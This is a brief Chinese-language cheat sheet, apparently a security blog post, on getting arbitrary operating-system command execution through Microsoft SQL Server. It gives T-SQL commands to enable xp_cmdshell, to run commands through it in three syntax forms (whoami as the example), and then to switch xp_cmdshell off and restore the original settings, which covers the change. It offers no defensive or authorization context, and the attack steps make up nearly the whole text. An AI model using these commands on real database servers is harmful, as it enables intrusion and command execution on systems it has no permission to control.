Microsoft SQL Server 任意命令执行

查看原始值,一般都是0:
EXEC sp_configure 'show advanced options'

开启xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

执行命令:
exec master.dbo.xp_cmdshell 'whoami'
exec master..xp_cmdshell 'whoami'
exec xp_cmdshell 'whoami'

关闭xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

恢复show advanced options的值:
EXEC sp_configure 'show advanced options', 0;RECONFIGURE;

 

你可能感兴趣的:(信息安全)